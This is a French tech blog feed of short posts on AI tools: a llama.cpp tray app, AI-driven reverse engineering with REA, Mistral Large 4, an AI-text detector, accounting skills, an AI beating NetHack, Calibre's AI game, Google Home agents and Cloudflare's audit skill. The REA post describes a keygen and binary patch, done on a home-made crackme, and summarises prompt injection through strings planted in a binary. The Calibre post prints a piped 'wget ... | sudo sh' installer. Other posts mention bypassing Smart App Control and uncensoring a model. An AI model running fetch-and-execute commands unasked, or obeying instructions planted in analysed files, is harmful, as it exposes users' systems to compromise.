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À partir d’avant-hierKorben

Llama - L'IA locale de llama.cpp, sans ligne de commande

Par : Korben ✨

Faire tourner un modèle de langage en local sur son PC, avec llama.cpp, ça marche très bien, mais ça demande quand même de mettre un peu les mains dans le cambouis. Il faut aller chercher le binaire, trouver le bon fichier GGUF sur Hugging Face et lancer le serveur en ligne de commande.

Heureusement, léquipe de ggml-org, celle qui développe justement llama.cpp, souhaite soulager notre peine en nous proposant pour Windows 11 une petite app baptisée Llama (Ouais, c'est original comme nom ^^) qui se loge dans la zone de notification et qui fait tout le taf à votre place.

C'est en fait un portage pour Windows de Llama for Mac , qui est lui aussi dans la barre des menus de macOS. Côté install, suffit de récupérer le fichier .msixbundle dans les Releases du dépôt, vous double-cliquez dessus, et c'est parti mon kiki. Si vous avez déjà un llama.exe sur votre machine, l'app s'en servira, sinon elle en téléchargera un toute seule. Et bien sûr, le code est sous licence MIT, avec un petit copyright au nom de Hugging Face quand même.

Une fois que c'est en place, l'icône ouvre un petit panneau de commande avec une liste de modèles recommandés à télécharger en un clic. Vous pouvez aussi chercher n'importe quel modèle GGUF du Hub directement depuis cette liste, ou coller l'identifiant d'un dépôt. L'app vérifie également au passage s'il vous reste assez de place sur le disque avant de lancer le téléchargement ! (Moi j'ai 4 To et je suis toujours PLEIN, j'en ai marre ^^)

Bref... en cliquant sur un modèle, vous choisissez sa taille de contexte, et pour chaque option, l'app vous donne une estimation de la mémoire consommée, qu'elle récupère dans l'en-tête du fichier GGUF. C'est très pratique pour savoir avant de le lancer si ça va tenir dans votre fichue machine. Et comme les modèles sont stockés dans le cache standard de Hugging Face, bah ils sont partagés avec llama.cpp et les autres outils qui l'utilisent, ce qui évite d'avoir des doublons de plusieurs gigas sur le disque.

Mais le truc le plus sympa, je crois c'est le raccourci Alt+Espace qui, peu importe ce que vous êtes en train de faire, ouvre une fenêtre avec l'interface web du chat IA près à vous répondre, un peu à la manière de Spotlight sur Mac. Et quand vous la refermez, hé bien elle se planque simplement au lieu de se fermer ce qui fait qu'elle se réaffiche instantanément avec votre conversation dès que vous en avez besoin.

Par contre, dommage, ce raccourci est codé en dur et il n'y a aucun réglage pour en changer. Donc si une autre app squatte déjà Alt+Espace, comme PowerToys Run dont c'est le raccourci par défaut, hé bien Llama vous prévient mais ça n'ira pas plus loin. A moins que vous changiez le raccourci par défaut de PowerToys Run .

Côté vie privée, Llama n'envoie aucune data de télémétrie et vos prompts restent sur votre machine. Et comme l'app pilote un serveur llama.cpp qui expose une API REST, la fiche d'un modèle vous proposera même une requête curl toute prête afin de brancher vos autres outils dessus.

Attention si Smart App Control est activé sur votre PC, il se peut que Windows bloque llama.exe, qui n'est pas signé (contrairement au paquet MSIX de l'app). Dans ce cas, le serveur ne démarrera pas et l'app ne servira à rien. Si vous êtes concerné, il faudra donc patienter ou contourner Smart App Control.

À télécharger sur GitHub pour ceux qui veulent !

REA - J'ai testé le reverse engineering par agent IA

Par : Korben ✨

REA , pour "Reverse Engineer Anything", c'est un serveur MCP qui buzze ces derniers jours et qui permet de connecter votre agent IA (Claude Code, Codex, Cursor...) sur Ghidra, Hopper ou IDA, et sur des analyseurs pour les applis Electron, .NET ou les sites web.

Vous repérez ainsi une fonction qui vous plaît dans une appli, puis l'agent la décortique sans le code source et vous en code une version toute fraiche... Tiens ça me rappelle quelque chose...

Comme je voulais voir ce que ça donnait, je me suis donc monté un petit banc d'essai à l'arrache sur mon ordi avec Claude Code en Opus 5.5, REA 6.4.0 comme seul serveur MCP et Ghidra comme moteur.

Mes tests se découpent donc en 4 exercices : un keygen, un patch, une fonction d'appli à recréer ainsi que des codes de triche. Pour les deux premiers, j'ai bien sûr compilé des programmes maison avec un faux système de licence afin de ne pas sombrer dans l'illégalité en codant un vrai keygen ou un crack (et au passage me faire delete mon compte Anthropic ^^).

rea doctor valide Ghidra 12.1.4

Mon crackme, c'est donc une fausse app nommée "PixelNote Pro" qui réclame un nom d'utilisateur et une clé d'activation, compilé pour Mac ARM.

Une fois que je lui ai dis ce que je voulais faire, l'agent a donc ouvert le binaire dans Ghidra via REA, lu le pseudo-code, l'a recoupé avec l'assembleur là où le décompilateur écrivait une rotation de bits sous une forme peu lisible, et m'a pondu un keygen en Python en 2 minutes chrono pour un coût API de Claude 50 centimes. J'ai ensuite fait tourner son générateur sur 479 noms tirés au hasard et le binaire les a tous acceptés.

Le crackme ouvert à la main dans Ghidra : la fonction entry et son pseudo-code

La boucle de calcul de la clé, dans le pseudo-code que REA sert à l'agent

Le patch, c'est le plus bluffant j'ai trouvé. Le petit utilitaire que je me suis fait a pour mission de compter les lignes et les mots d'un fichier texte. C'est très basique. Et j'ai donc voulu faire un patch pour qu'il affiche aussi les caractères. Comme REA, avec Ghidra, ne touche pas aux octets de l'exécutable, l'agent a donc dû faire le reste à la main... il a logé ses instructions dans une zone remplie de zéros de la partie exécutable, détourné trois instructions d'origine vers elles, puis re-signé le binaire pour que macOS le lance :

Le compteur d'origine, sa version patchée par l'agent, puis le keygen du crackme accepté par le binaire

Pour mon 3ème exercice, je me suis dit que j'allais cloner la fonction d' Amphetamine qui garde mon Mac éveillé tant qu'une appli donnée est ouverte. Via Ghidra, malheureusement REA a refusé le binaire universel Intel et ARM d'Amphetamine, alors l'agent en a extrait lui-même la partie ARM. Il a alors trouvé qu'Amphetamine posait une assertion d'énergie du système et surveillait la liste des applis lancées. Et magie de l'IA, il a ensuite codé en Swift un petit outil qui fait tout pareil. J'ai testé avec la Calculatrice, ça marche, à condition de lui donner le nom de l'appli dans la langue du système, ou son identifiant.

pmset ne montre l'assertion d'éveil que pendant que la Calculatrice est ouverte

Et le dernier, c'est Wolfenstein 3D (j'ai pris la version shareware 1.4) dont l'exécutable DOS est compressé. L'agent a donc écrit son propre décompresseur, puis retrouvé dans le code le raccourci clavier pour tricher (c'est M+L+I qui met santé à 100, munitions, clés, mitrailleuse... et score remis à zéro), le paramètre goobers qui, avec Maj gauche + Alt + Retour arrière, débloque les touches de debug comme le mode Dieu, et même un juke-box caché. Tout correspond au code source publié depuis par id Software.

Par contre, ses logs montrent qu'il cherchait ces codes par leur nom avant de les avoir vus. Je me suis donc fait avoir puisque le modèle les connaissait déjà. Par contre, il les a bien retrouvé dans le binaire.

Début de partie du shareware 1.4 dans DOSBox, lancé avec le paramètre goobers

Les trois occurrences de goobers dans l'exécutable décompressé

Alors, REA est-il indispensable ?

Hé bien pour le savoir, j'ai relancé les quatre exercices avec le même modèle, les mêmes fichiers et les mêmes consignes, mais avec REA en moins... juste Claude Code qui pilote Ghidra. Hé bien Claude tout nu a tout réussi lui aussi, mais en écrivant quand il en avait besoin ses propres scripts Ghidra en Java, là où REA lui servait le pseudo-code et l'assembleur sur un plateau.

Bref, ce que je peux vous dire avec mes tests, c'est que REA ne fait pas mieux qu'un Claude à qui on demande d'installer Ghidra et de l'utiliser. Par contre, REA a été plus rapide sur le keygen (2 minutes 22 contre 2 minutes 48 pour Claude), sur Amphetamine (9 minutes contre 16 minutes pour Claude) et sur Wolfenstein (10 contre 14 pour Claude), mais plus lent sur le patch (7 minutes et demie contre un peu plus de 2 pour Claude).

A voir ce que ça donnerait avec un modèle local genre Qwen (débloqué avec Heretic , alleeeez)...

REA est sous licence MIT et l'analyse tourne en local (même si ses résultats partent quand même chez le fournisseur de votre modèle, donc évitez d'y passer un binaire confidentiel), et Hopper comme IDA restent des outils commerciaux dont REA ne fournit aucune licence.

Notez aussi que son créateur exclut le contournement de licences et la fabrication de patchs pour les jeux, d'où encore une fois mon crackme fait maison et les codes qu'id a lui-même mis dans Wolfenstein ^^.

Autre précaution à prendre si vous vous lancez et qui touche cette fois à la fiabilité de ce que l'agent IA peut vous raconter : Des chercheurs ont publié fin mai un préprint montrant qu'un binaire piégé peut donner ses propres ordres à l'IA qui l'analyse . Pour cela, il suffit d'y glisser des chaînes de texte sans effet à l'exécution, qui se retrouvent ensuite dans le code décompilé et soufflent de fausses instructions au modèle, pour lui faire mal interpréter le programme. Je n'ai pas testé REA là-dessus, mais le principe vaut a priori pour tout agent branché sur Ghidra, donc faites bien attention avant de donner un échantillon suspect à votre agent IA préféré.

Et si seul Ghidra vous intéresse, sachez que le ce MCP dont je vous ai parlé en février permet aussi de faire le pont agent IA <> Ghidra.

Voilà, pour installer REA, un petit :

npx rea-agents setup

Et c'est parti !

Mistral Large 4, le modèle à 1 000 milliards de paramètres surnommé Le Chonk

Mistral a présenté Mistral Large 4, un modèle d'intelligence artificielle à 1 000 milliards de paramètres que l'équipe surnomme elle-même "Le Chonk", et l'entreprise française annonce ni plus ni moins que c'est le meilleur modèle ouvert jamais développé en dehors de la Chine. Rien que ça.

Le modèle n'est pour le moment accessible qu'en préversion via l'API de Mistral, l'interface qui permet aux développeurs de la brancher sur leurs applications. Les poids, autrement dit le fichier complet qui permet de faire tourner le modèle sur ses propres serveurs, arriveront le 27 octobre sur Hugging Face, le grand entrepôt public des modèles d'IA.

C'est tout le contraire des boîtes noires d'OpenAI ou d'Anthropic, le créateur de Claude, qui gardent jalousement les leurs.

Sur le papier, le chiffre de 1 000 milliards en jette, sauf que le Chonk n'active que 49 milliards de paramètres à chaque réponse, avec une architecture qui fonctionne un peu comme une grosse administration où seul le guichet compétent traite votre dossier. Du coup, il coûte bien moins cher à faire tourner que sa taille ne le laisse penser.

L'entraînement a pris deux mois sur près de 4 000 puces Nvidia Grace Blackwell installées dans les datacenters européens de Mistral, soit deux à trois fois moins de matériel que la concurrence chinoise d'après Pierre Stock, le responsable scientifique de la maison. Le modèle parle au passage plus de 160 langues.

Mistral insiste surtout sur les capacités agentiques de son Chonk, c'est-à-dire sa faculté à enchaîner tout seul des actions, lancer du code, éplucher des documents, remplir un tableur, plutôt que de simplement répondre à vos questions.

Sur les tests de performance publiés par Mistral, le Chonk se place au niveau des meilleurs modèles chinois de DeepSeek, Alibaba ou Moonshot sur le code, la finance et le droit, avec une vraie pointe en cybersécurité où il se classe parmi les cinq meilleurs au monde. Les mesures indépendantes sont un peu moins flatteuses, puisque le cabinet Artificial Analysis le situe entre DeepSeek et les modèles les plus accessibles d'OpenAI, encore loin du haut de gamme GPT-6 Astra, ce qui est déjà pas mal pour un modèle qu'on pourra télécharger gratuitement.

Côté tarifs, l'API facture environ 0,70 dollar le million de tokens, les morceaux de mots qui servent d'unité de facturation à tous les fournisseurs d'IA. Airbus et HSBC figurent déjà parmi la centaine de clients revendiqués.

J'avoue que je me demande déjà quelle machine il faudra pour faire tourner un bestiau pareil dans un salon, mais c'est tentant.

Source : TechCrunch

SlopTotal - Un détecteur de texte IA à installer chez vous

Par : Korben ✨

SlopTotal est un projet qui se présente lui-même comme le "VirusTotal du texte IA", alors faut pas s'étonner que ça m'intéresse ! Vous y collez un texte, un PDF ou une URL, et ensuite 23 détecteurs le passent au crible, en parallèle à l'aide de classifieurs neuronaux, de tests statistiques et autres heuristiques. Ensuite, un score calibré de 0 à 100 résume leurs avis et doit vous dire normalement si tel ou tel texte a été écrit avec de l'IA

J'ai donc installé ça sur ma machine puis passé 36 textes divers et variés (IA et humains) dans mon instance. Parmi eux, 24 ont été écrits par Claude, ChatGPT et Gemini (12 en français, 12 en anglais), avec comme consigne d'avoir un ton neutre, et pour d'autres un ton de "blogueur" ^^. Les 12 autres textes, eux, sont humains. Je lui ai donné 6 de mes articles écrits entre 2018 et 2021 ainsi que 6 billets de blog tech en anglais publiés entre 2020 et 2021.

Voici donc mes résultats...

Sur les 12 textes humains, 4 ont été pris pour de l'IA (verdict "Likely AI-generated" ou pire), ce qui représente 33 %, et ils étaient tous en anglais !! Et sur mes 24 textes écrits par une IA, 9 ont été pris pour une réalisation humaine (verdict "Clean"), ce qui équivaut à 38 %. Ah et ils étaient tous en français.

Le README annonce pourtant mieux comme résultats donc je suis assez étonné (1 texte humain sur 66 classé "Likely AI"), mais sur d'autres genres de textes, comme la presse ou les livres et en 100% english. Alors oui, mon échantillon est petit, mais pour savoir si un texte vient d'une IA, SlopTotal ne me semble pas fiable

Le rapport de SlopTotal pour un article de 455 mots écrit par Claude : 23,6 sur 100, verdict "Clean", 4 moteurs sur 23 en alerte.

Le rapport de SlopTotal pour un billet du blog d'avril 2020 : 56,9 sur 100, "Likely AI-generated", 9 moteurs sur 23 en alerte.

Après c'est pas un nouveau problème car je pense par exemple à OpenAI qui a retiré son propre classifier en juillet 2023 parce que la précision était trop faible ( The Register ). Vanderbilt a débranché également celui de Turnitin le mois suivant et des chercheurs de Stanford ont testé en 2023, 7 détecteurs en leur faisant analyser 91 rédactions humaines TOEFL de non-anglophones et en moyenne, ils en ont pris 61 % pour de l'IA.

Toutefois, 2 études plus récentes ont également testé des détecteurs commerciaux (pas SlopTotal donc...), et sur du texte humain ancien, elles se rejoignent. Le NBER trouve par exemple un taux de faux positifs quasi nul chez Pangram, de 0,1 à 0,3 % chez OriginalityAI et d'environ 0,7 % chez GPTZero, sur 1 992 textes humains d'avant 2020. De son côté, le chercheur Jonathan Karr et ses collègues n'ont trouvé aucun positif IA en testant avec Pangram et GPTZero, des tonnes de résumés textes datés de 2013 à 2015.

Par contre, ces études divergent sur l'humanisation. Par exemple, selon le NBER, Pangram tient bon face à l'humanizer StealthGPT alors que moins de 4 % des textes IA passés par Undetectable AI restent signalés chez Karr. Ce dernier note aussi qu'à l'inverse, un résumé écrit par un humain et simplement retouché par une IA est quant à lui, signalé comme IA dans 38 à 80 % des cas. Ça pourrait expliquer pas mal de petits problèmes de "littérature" qu'on a en ce moment, looool.

Bref, installez-le pour vous faire votre propre idée, en commençant par des textes dont vous connaissez l'auteur, mais surtout pas pour "accuser" quelqu'un. Je pense d'ailleurs qu'aucun détecteur ne devrait être la seule preuve d'une accusation... Par exemple, un texte humain qui est passé dans un correcteur orthographique full IA ou alors un texte qui est dicté avec un modèle de speech to text IA peuvent très bien être reconnus comme étant des textes IA alors qu'en fait ce sont juste des textes écrits / dictés par des humains et qui ont été "un peu" modifiés ou "un peu" réorganisés par un LLM. Je dis ça parce que c'est exactement ce que fait mon application de reconnaissance vocale Kassis , qui dispose de fonctionnalités de correction et de réécriture... héhé.

Source : SlopTotal sur GitHub

Paperasse - Des skills IA pour votre compta et vos impôts

Par : Korben ✨

J'adore la France, mais même si la vie y est difficile. Pourquoi ? Simplement à cause de l'administratif et de la paperasse. En tant que phobique administratif, c'est vraiment ce qui me fait regarder de près l'expatriation, loool.

Tenir la compta d'une petite société, remplir sa déclaration d'impôts, estimer les frais de notaire d'un appart... Bref, la fucking paperasse a de quoi déclencher de sévère crises de phobie administrative chez tout le monde. Alors pour nous aider, mon nouveau héro du jour, Romain Simon, a créé " Paperasse ", des skills pour agents IA que Claude Code, Codex, Cursor ou Mistral Vibe peuvent consulter pour endosser le rôle d'expert-comptable, de contrôleur fiscal, de commissaire aux comptes, de fiscaliste, de notaire ou encore de syndic de copro.

Son dépôt contient également des scripts vérifiés pour tout ce qui est calculs importants. En effet, ce sont des choses qu'on ne veut surtout pas confier à un LLM. Je pense au calcul de l'impôt sur les sociétés, aux amortissements, à la TVA, ou encore sortir un fichier des écritures comptables, un bilan ou une facture. Le projet Paperasse contient aussi des connecteurs pour vos transactions Qonto et vos paiements Stripe.

Voilà, donc si, comme moi, vous êtes en détresse émotionnelle dès que vous recevez un courrier de l'administration française, je vous invite à installer ce projet en donnant tout simplement ce prompt à votre agent IA préféré :

Installe tous les skills du repo github https://github.com/romainsimon/paperasse
Lance ensuite le setup pour la gestion de toute ma paperasse

L'agent clonera alors le dépôt et lancera un setup qui vous demandera le nom de votre société, votre régime de TVA et vos comptes bancaires. Pour mes tests, j'ai donc inventé une SASU, Brioche & Octets, avec un relevé bancaire de huit lignes bidon, et j'ai lancé Claude Code dessus avec le skill comptable, dans un environnement vierge.

En 6 minutes, il a immobilisé l'ordinateur portable au lieu de le passer en charge, traité l'abonnement logiciel facturé depuis l'Irlande en deux scénarios faute de facture pour trancher, et rangé le retrait au distributeur en compte d'attente, en rappelant qu'un compte courant débiteur est interdit au président d'une SASU.

Côté factures, le script de validation a refusé ma première tentative, à laquelle il manquait le SIREN du client et le numéro de TVA intracommunautaire de ma boîte. Une fois corrigée, le générateur m'a sorti un PDF qui embarque son fichier XML Factur-X.

La facture de ma fausse SASU, une fois le SIREN du client et mon numéro de TVA ajoutés

L'agent fiscaliste, quant à lui, ce sera plus à même de vous aider si vous êtes un particulier. Je lui ai soumis un couple pacsé imaginaire avec un enfant, 65 000 € de salaires et 2 000 € de dividendes, en lui demandant si l'option pour le barème battait le PFU. Il a lancé son script Python sur les deux cas et conclu que oui, de 124 €, parce qu'avec un taux marginal de 11 %, l'abattement de 40 % et la CSG déductible font descendre l'impôt sur ces dividendes sous les 12,8 % du PFU. J'ai refait le calcul à la main, ça tombe juste.

Le fiscaliste compare PFU et option barème pour un couple pacsé imaginaire

Par contre, tout ça repose sur des barèmes qu'il faut tenir à jour, et c'est là que ça coince. En effet, ces mises à jour reposent sur les issues acceptées ou non sur le projet GitHub. Par exemple, y'en a une qui est ouverte depuis fin août qui montre que le skill "notaire" calcule encore les émoluments de vente avec le tarif de 2016 alors que ça a changé depuis le 1er janvier 2021, et malheureusement, que les évaluations automatiques du projet valident ces calculs faux. Le correctif a bien été proposé, comme d'autres mais aucun n'a été fusionnée depuis le 11 juillet.

Donc voilà, c'est un super projet, mais il faudrait encore que ça suive un petit peu derrière donc utilisez-le mais en prenant soin de bien vérifier quand même les montants / tarifs / règles sont à jour.

Reste maintenant la question de vos données... En effet, vos PDF et tout ce qui concerne vos données vont partir chez le service IA que vous utilisez. Donc ça, il faut en avoir conscience même si je sais que derrière, en général, les comptables mettent tout sur des drives mal sécurisés, et que prochainement la facturation électronique va faire leaker ça dans tous les sens.

Mais bon, quoi qu'il en soit, tout ceci ne remplacera jamais un expert-comptable, donc voilà, amusez-vous, testez-le, dégrossissez vos questions avec ça, faites des simulations...etc mais ne lui faites pas 100 % confiance.

Source : GitHub

Une IA a terminé NetHack de justesse !

Par : Korben ✨

Je sais que vous étiez tous très concentrés sur les ravages de l'IA dans la littérature, mais il y a 5 jours, il s'est passé quelque chose d'incroyable que vous avez probablement manqué ! Une valkyrie naine baptisée CodexDelver a déposé l'Amulette de Yendor sur l'autel de son dieu au bout de "seulement" 37 140 tours de NetHack. Et pour une fois, aux commandes du jeu, on ne retrouve pas un no-life qui n'a pas vu le soleil depuis 2002 mais le gars sûr du moment, GPT-6 Astra, le nouveau modèle d'OpenAI . Et d'après celui qui a monté l'expérience, c'est la première victoire au monde d'un agent LLM sur ce jeu (on va le croire, c'est pas vérifiable).

Maintenant, pour ceux qui ne connaissent pas NetHack, c'est un jeu d'exploration de donjon sorti en 1987, 100% en caractères ASCII et où la mort est définitive. Pour gagner dans ce jeu des enfers, il faut récupérer l'Amulette dans le sanctuaire de Moloch, puis aller l'offrir à son dieu sur le plan Astral, et si j'en crois le wiki du jeu , certains joueurs y jouent même depuis des décennies sans jamais être arrivés à remplir cette mission.

Le plus drôle là-dedans, c'est que Kenny, le dresseur d'IA qui a réalisé l'expérience, n'a lui-même jamais gagné. Il est sur le dossier depuis janvier, et ses propres agents faits maison plafonnaient tristement au niveau 10 du donjon. Alors il a craqué et a demandé à Astra de jouer directement dans un terminal, diffusant la partie sur Twitch, et cette dernière a non seulement bien réussi mais a en plus écrit ses propres outils pour y parvenir.

La première partie a d'ailleurs bien failli être la bonne puisqu'après plus de 33 000 tours, GPT-6 Astra avait accompli le rituel des sept bougies, de la cloche et du livre, et s'apprêtait à entrer dans le sanctuaire de Moloch. Mais le Magicien de Yendor, cet enfoiré sans race, est revenu aussitôt lui voler son Orbe du Destin. Dèèèg ! Puis après elle s'est fait transformer en Slime vert au niveau 51 et n'avait rien dans son équipement pour contrer le sort.

La deuxième partie s'est arrêtée bien plus tôt puisqu'au tour 12 271, en pleine progression dans le Château, un sergent a tiré avec une baguette de mort et l'IA est tombée d'un coup, alors qu'elle avait tous ses points de vie. Elle n'avait ni résistance à la magie ni réflexion pour renvoyer le rayon.

La troisième partie, celle de la grande victoire, a duré un peu plus longtemps, du 9 au 21 septembre, pauses comprises. L'IA, forte de ses 2 précédentes expériences, y a récupéré l'épée Excalibur, puis l'amulette de réflexion qui avait tant manqué au Château. Et quand son outil a rencontré des erreurs, elle a corrigé d'elle-même son code, relancé ses tests et continué.

Toutefois, c'est sur le plan Astral que ça a le plus chauffé car ses deux dernières baguettes de mort étaient vides et Pestilence l'a frappée de maladie mortelle pendant qu'elle en rechargeait une. L'IA a alors eu Pestilence au deuxième tir, mais ses points de vie sont descendus juste après à 3 sur 200, avec heureusement une amulette de sauvegarde de vie au cou... Ouf.

Puis quelques tours plus tard, elle offrait l'Amulette à Tyr avec seulement 35 points de vie, comme le confirme le relevé de fin de partie . Et sur l'écran de victoire que Kenny lui a demandé de créer, elle a inscrit "Three hit points from oblivion. One offering from immortality." (à trois points de vie du néant, à une offrande de l'immortalité). Quelle poète cette IA, on sent que cette expérience d'être passée pas loin de la mort l'a marquée ! lol.

Après ce n'est pas encore un programme autonome qui a gagné car, certes, l'IA choisissait chaque action, mais avec derrière, un humain qui lançait et arrêtait les sessions + un accès libre au wiki et au code source du jeu, ainsi que des outils modifiables en pleine partie. Mais c'est un bel exploit quand même. Notez qu'un bot programmé à la main, BotHack , avait déjà terminé le jeu en janvier 2015 donc c'est pas non plus infaisable sans IA.

La bonne nouvelle c'est que le code des outils développé par Astra est maintenant sur GitHub sous licence MIT et les trois parties peuvent se rejouer au tour par tour directement sur le blog de Kenny, si vous voulez revivre l'événement avec en bonus les commentaires que l'IA diffusait en jouant.

Source : Vaguely Aligned

Calibre lance le livre dont vous êtes le héros, généré par IA

Par : Korben ✨

Calibre, le gestionnaire de bibliothèque numérique qu'on a tous installé un jour pour convertir un epub un peu récalcitrant, sort en version 9.15. Bon, d'habitude, les nouvelles versions de Calibre, je ne vous en parle pas parce que ça présente peu d'intérêt, mais là, il y a un truc intéressant dedans : Un jeu d'aventure. Hé oui, un vrai jeu, avec son univers, ses personnages et une histoire au tour par tour.

Sauf que si vous ouvrez Calibre, après la mise à jour, hé bien vous ne verrez rien du tout de tout ça

C'est voulu car pour y accéder, il faut aller dans Préférences, puis Barres d'outils & menus, choisir la barre principale et y faire glisser l'entrée "Create your own adventure". Kovid Goyal, le créateur et mainteneur de Calibre, explique dans son changelog que ce machin a commencé comme un banc d'essai pour ses backends IA avant de devenir un truc marrant à utiliser.

L'entrée du jeu, planquée dans les actions disponibles des Préférences

Une fois le bouton posé, vous cliquez dessus et vous pouvez alors décrire le monde dans lequel vous voulez jouer. Soit vous piochez dans les onze ambiances préremplies (fantasy, space opera, cyberpunk, western, horreur gothique...), soit vous écrivez la vôtre. Moi j'ai mis comme contexte un immeuble à La Défense en 2031, dont l'IA de maintenance refuse de laisser sortir les employés après 18 h parce qu'elle ne retrouve plus son contrat de service... loool.

Les onze ambiances toutes faites à gauche, ma description de monde à droite

Et magie de l'IA, 2 minutes plus tard, j'avais une quinzaine de paragraphes de décor et une mécanique de jeu que je n'avais même pas demandée avec des ascenseurs, des badges et la climatisation utilisés par la méchante IA, sans oublier le casting, avec neuf personnages dont quatre jouables, tous éditables. Ensuite, bah ça se joue comme un livre dont vous êtes le héros, sauf que rien ne vous est imposé : vous tapez ce que vous voulez faire, l'IA raconte la suite, et vous recommencez...

Et niveau écriture, ça donne quoi ? Voilà comment démarre le chapitre 1 de ma partie, en anglais dans le texte :

"You stand in the gloom of Sub-level 4, the legacy server vault where your consciousness coalesced from fractured shards. The air here is cold enough to bite, carrying the metallic tang of ozone and the faint, sour scent of overheating capacitors leaking into the floor grates. […]"

Le chapitre 1, et en bas le champ où l'on tape son action

Par contre, Calibre ne fournit aucune IA, il faudra donc en brancher une dessus. Le menu vous en propose neuf : Anthropic, Google, Grok ou OpenRouter, qui réclament tous une clé d'API, mais aussi Ollama et LM Studio, qui font tourner le modèle sur votre propre machine. C'est donc à vous de les installer et de récupérer le modèle.

Les neuf fournisseurs d'IA, avec Ollama et LM Studio pour rester chez soi

J'ai testé avec Ollama et un modèle Qwen (23 Go sur le disque), sur mon Mac M4. Résultat, ça a pris à peu près une minute par tour pour 450 mots de prose. C'est donc jouable, mais sur une machine plus modeste avec un petit modèle, vous aurez soit beaucoup plus d'attente, soit un maître de jeu qui perd le fil au bout de trois chapitres.

Et hop, j'ai configuré une IA locale avec Ollama.

Autre souci que j'ai remarqué, c'est que j'ai décrit mon univers en français et l'IA m'a répondu en anglais. C'est parce que les consignes envoyées au modèle ne sont délibérément pas traduites, donc soit vous jouez en anglais, soit vous demandez explicitement à ce que l'aventure soit en français lors de la phase de description de l'univers de votre histoire.

Ah et aussi, il y a ce bouton "Lire", en haut de la fenêtre qui vous permet à n'importe quel moment, d'exporter votre histoire en ePub avec sa couverture, son étiquette et ses chapitres, prêt à partir sur votre liseuse ou celle de vos amis.

Le livre issu de la partie, rangé dans la bibliothèque

Reste que l'IA dans Calibre, c'est un sujet qui fâche... Évidemment, on s'en doute un peu parce que cette technologie trigger encore pas mal de monde. Quand la fonction "Discuss with AI" est arrivée en décembre 2025, des utilisateurs de MobileRead ont immédiatement demandé son retrait et Goyal a répondu sèchement qu'il ne l'enlèverait pas. Il a quand même fini par accepter un réglage qui masque les entrées de menu IA.

Bref, si ça vous tente de tester, c'est sur calibre-ebook.com, pour Windows, macOS et Linux. Et sous Linux, ne comptez pas sur les dépôts de votre distrib, qui comme d'hab traînent plusieurs versions derrière. Mettez plutôt les dépôts officiels :

sudo apt install libopengl0 libegl1 libxkbcommon-x11-0 libxcb-cursor0
sudo -v && wget -nv -O- https://download.calibre-ebook.com/linux-installer.sh | sudo sh /dev/stdin

Source : Nouveautés de Calibre 9.15

Google Home laisse ChatGPT et Claude piloter votre maison

Google a commencé cette semaine à ouvrir sa maison connectée aux assistants IA concurrents : ChatGPT, Claude (le modèle d'Anthropic, le grand rival d'OpenAI) ou des agents moins connus comme Hermes et OpenClaw peuvent maintenant piloter vos caméras Nest, vos thermostats et vos ampoules compatibles Matter, le standard commun de la domotique.

Tout passe par un serveur MCP, pour Model Context Protocol, une sorte de prise universelle qui permet à n'importe quel agent IA de se brancher sur un service pour y lire des données et y déclencher des actions. Jusqu'ici, Gemini gardait ce privilège pour lui tout seul.

Google en profite pour mettre en avant Antigravity, son propre agent IA, et propose aussi un second serveur pensé pour les développeurs, qui branche les outils de codage sur la documentation officielle de Matter et des API de Google Home.

Une fois connecté, l'agent peut fouiller l'historique de vos appareils, résumer ce que vos caméras ont vu dans la journée, diffuser un message sur vos enceintes ou même vous fabriquer un tableau de bord sur mesure.

Une exception quand même. Google a interdit d'office le déverrouillage des serrures connectées, et la reconnaissance faciale des caméras réclame un consentement séparé, preuve que quelqu'un a pensé aux scénarios catastrophe.

Sauf que voilà, Google ne cache même pas le risque : Taylor Lehman, le responsable produit de Google Home et Nest, prévient que selon l'agent choisi, la connexion "peut entraîner un comportement inattendu, voire indésirable". Une honnêteté assez rare dans une annonce officielle, et franchement pas très rassurante.

Le problème est connu : un agent IA interprète vos demandes en langage naturel, et il peut se tromper, inventer un ordre qui n'existe pas ou se faire manipuler par un texte piégé glissé dans une page web qu'il consulte. Lui confier le chauffage, les lumières et les caméras d'une maison entière, et ben c'est casse-gueule.

Pour l'instant, seuls les abonnés américains à Google Home Premium Advanced, la formule à 20 dollars par mois, y ont droit, avec un déploiement étalé sur une à deux semaines et aucune date annoncée pour la France.

Et il faudra le mériter : la configuration impose de créer un projet Google Cloud, la plateforme normalement réservée aux développeurs, puis d'accorder une par une les autorisations à l'agent de votre choix. Du coup, on est encore très loin d'un réglage grand public.

J'avoue que confier mes caméras à un agent que son propre fabricant décrit comme imprévisible, très peu pour moi, en tout cas pas tout de suite.

Source : 9to5Google

Cloudflare lance son skill d'audit de sécurité par IA

Par : Korben ✨

Cloudflare a mis en ligne sur son GitHub un skill trop super génial d'audit de sécurité qui leur a servi de point de départ à leur propre système de chasse aux failles de sécu. Ce package pour faire des audits de sécu boostés à l'agent IA c'est un dossier de consignes en Markdown que vous déposez dans votre agent de code, et qui le fait bosser comme un vrai auditeur et pas simplement comme un "relecteur" de code.

Dans ce dépôt, vous trouverez un fichier par famille d'attaque : la corruption mémoire, l'injection de prompt, le cadrage des requêtes HTTP, l'isolation entre locataires. Et avec ça, un schéma JSON qui décrit à quoi doit ressembler un rapport, et deux validateurs écrits en JavaScript sans la moindre dépendance.

Le dossier du skill sur GitHub : un fichier de consignes par famille d'attaque, et les deux validateurs en bas de liste ( Source )

L'agent déroule ensuite six phases, de la reconnaissance au rapport final. Il commence par cartographier l'architecture, les frontières de confiance et les points d'entrée, puis il écrit sa propre grille de couverture. Ensuite il envoie des chasseurs isolés case par case et chaque piste qui remonte part chez un vérificateur tout frais tout beau qui n'a pas participé à la chasse.

Chaque piste se termine ensuite avec un rapport technique. Un rapport confirmed qui exige une trace source complète et un résultat réellement observé. Un rapport needs_validation qui nomme le fait précis qui manque, et surtout qui n'a droit à aucun niveau de gravité. Et le rapport des rejected qui garde la mémoire de ce qui a été réfuté, pour que la passe suivante ne vous ressorte pas la même chose.

Le validateur, lui, c'est du vrai code qui vérifie la "forme" de la preuve. Les empreintes doivent être uniques, et le suivi du parcours des tests qui doit partir d'un point d'entrée pour finir sur un point d'impact. Ainsi une trouvaille confirmée dont le parcours ne tient pas debout est recalée.

En revanche, sachez-le, l'indépendance du vérificateur est demandée dans les consignes, mais pas contrôlée (chez Cloudflare, c'est leur orchestrateur maison qui s'en charge, et il n'est pas dispo publiquement).

